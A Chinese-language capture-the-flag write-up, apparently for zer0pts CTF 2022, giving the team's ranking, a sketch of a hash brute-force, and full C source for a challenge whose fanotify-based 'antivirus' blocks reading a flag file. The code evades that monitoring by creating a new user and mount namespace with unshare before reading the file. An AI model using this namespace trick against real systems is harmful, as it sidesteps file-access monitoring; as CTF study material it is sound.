比赛情况

  • 比赛时间(UTC-8):2022.03.19 08:00:00 ~ 2022.03.20 20:00:00,共计 36 h
  • 比赛模式:动态分值,无一血奖励
  • 队伍总分:723
  • 队伍排名:52 / 632
  • 贡献分数:127

前言

大佬们去 NeSE 打比赛了,留下我们坐牢,Orz

We provide many fun challenges of varying difficulty and categories, and none of them require any guessing skills.

就冲这个 “不需要猜”,我直接五星好评奉上。

MathHash(127 pts)

查看 Python 源代码,发现可以利用 tan θ 在 π/2 附近的性质逐位爆破出 flag 的后 18 位,前 7 位是 flag 的固定格式,添加即可。

代码先咕着。

0av(未解出)(256 pts)

查看 antivirus.c 的源代码,发现其使用了 fanotify 进行文件系统的监控,若文件中出现 zer0pts 字样,则阻止一切试图读取该文件的操作,并删除此文件。

fanotify 不能监控多个 namespace 中的文件系统,考虑创建一个新的 namespace 读取文件即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>

int main(void){
int fd;

if (unshare(CLONE_NEWNS | CLONE_NEWUSER))
{
perror("unshare error!");
return -1;
}

char buf[0x100];
if ((fd = open("/playground/flag.txt", O_RDONLY)) == -1)
{
perror("open");
return 1;
}
read(fd, buf, 0x100);
puts(buf);
close(fd);

return 0;
}

在 Linux 环境下编译(注意要静态链接 glibc 库),通过网络上传文件,运行即可获取 flag。

readflag(未解出)(277 pts)

还没复现到,之后再说吧。